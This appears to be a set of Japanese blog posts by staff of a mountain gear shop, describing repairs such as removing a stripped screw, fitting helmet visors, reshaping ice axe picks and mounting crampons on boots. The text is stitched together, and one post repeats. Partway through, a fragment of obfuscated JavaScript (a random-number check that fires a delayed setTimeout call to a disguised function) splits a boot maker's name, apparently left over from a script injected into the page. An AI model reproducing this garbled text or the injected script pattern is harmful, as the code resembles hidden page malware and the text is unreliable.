六角がお花模様になってしまったバランサーネジの除去。



<手順1>この形ですとダメもとですが、期待を込めてまずはインパクト。

<手順2>滑ったので、もうネジ切り。

最終的にネジ切りするなら好きなだけTryして構いませんが、チョット回してみて回らなければ、お持ちいただいてご相談いただいた方がチョットだけ外れる率は上がるかなぁ。
頑張るのもアリですが、頑張らないのもアリです。困ったらご相談下さい(笑)。

山の店デナリのスタッフが綴るブログです
六角がお花模様になってしまったバランサーネジの除去。



<手順1>この形ですとダメもとですが、期待を込めてまずはインパクト。

<手順2>滑ったので、もうネジ切り。

最終的にネジ切りするなら好きなだけTryして構いませんが、チョット回してみて回らなければ、お持ちいただいてご相談いただいた方がチョットだけ外れる率は上がるかなぁ。
頑張るのもアリですが、頑張らないのもアリです。困ったらご相談下さい(笑)。
ヘルメット割れたので黒シロッコから白シロッコへバイザーを移植します。


元パーツを外しまして、コチラのシロッコ専用治具でパーツを納めます。


コレで押さえておけばネジがめり込まない訳です。

両面テープが落ち着くまで他の作業します。
今年はお盆あたりからエアコンいらずの涼しさなんで助かります。

そんな素晴らしい状況ですから!?、今年の工場長日誌もはじまります!!。


で、完成品。


ヘビーユーザーさんからの修正依頼。

<ピックAビフォアー>手前は抜歯確定。奥側は辛うじて残せるか・・・。

<ピックA手前アフター>抜歯後整形。


<ピックA奥側アフター>抜歯しないで整形。


日々こなせど、我が暮らし楽にならず・・・。

2名様分。

更に曲がりやもげの修正2名様分。



チビりきるまで頑張りましょう!。


で、クランポンも。




4人分終了。
本日より2021年の営業開始ですが、“年明け一発目のネタがコレ!?”と驚きの方もいるでしょう。
仕方ありません。ストックネタがないと、「営業日ブログマスト更新」はなかなか難しーので(笑)。
そんな感じで、普通に受け入れてくれるマニアの方も、引き気味なそーでもない方も、本年もよろしくお願いします!!。

サクサク行こー思ってたのにグラインダーがブっ飛んだ。とりあえず修理しせねば・・・。
先ずはセンターバーの切断。


小さい靴の人はどーしても出てしまう場合があるので、そーゆー時は要らない箇所を捨てるのが一番でしょう。

で、KONG社のMouse(マウス)に専用バイザーのMouse Visor(マウスバイザー)を取付けます。

マニュアル通りに作業すれば普通にポン付け可能です。

次はKONG社のLeef(リーフ)に専用バイザーのLeef Visor(リーフバイザー)を取付けます。

コッチは少々加工が必要。先ずはマニュアル付属の型紙の切り出しから。


そんでもって、本体に合わせ位置決めとけがき。


ドリルで穴開けして、パーツを組み込んで、



バイザー付けて完成。

ともにワーク仕様の極めて品質が良いスクリーンですから、クリアーな視界です。
で、お次の方はKayLandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andのICE DRAGON(アイスドラゴン)+GRIVEL RACING CRAMPON (2019)(レーシングクランポン 2019)。

で、更にお次の方はSCARPA REBEL ICE(レベルアイス)+Black Diamond RAPTOR CRAMPON(ラプタークランポン)組合わせ。

慣れている作業ですが、分解してネジ穴拡張、ネジ類の入れ替えなどヤルことはいっぱいあります。

ササッと完成!。

マニアックな並びなので、皆さんで記念写真を撮りましょう!。

フルートブーツの組み上げをまとめて。

お一人目の方はSCARPA REBEL ICE(レベルアイス)+GRIVEL RACING CRAMPON (2019)(レーシングクランポン 2019)の組合わせ。

で、すんなり進むハズが、G社付属のネジがクソ過ぎる・・・。大抵の靴はM5の首下14mmなんて入れたら、足ツボマット状態です。おまけにもならない。

こーして、色々な種類・サイズのネジ在庫が増えてしまうのです(笑)。

で、ビルドして1人目の方、完成!。

まとまっているC社からやろう。

1名様。



次の方。


で、送られてきたG社のICE VARIO(アイスバリオ)をやります。

未使用のよーですが、デフォルトで片方先端欠落してます・・・。型出しする時とか気を遣わないのか?。

鋳型違いかどーかは知りませんが、峰の厚みも形も違うじゃねーか!!。


こーゆークオリティーは日本人にはなかなか理解できません。とは言え、同じよーな形に削ってしまえばイイので最近は諦めモード(笑)。

ハイ、完成!!。しかし、無い部分は削れないのでこのままでは先端に差がついちゃいます。

勿論、出来る範囲で先端を出していくので、結果、こんな感じで仕上がりです。
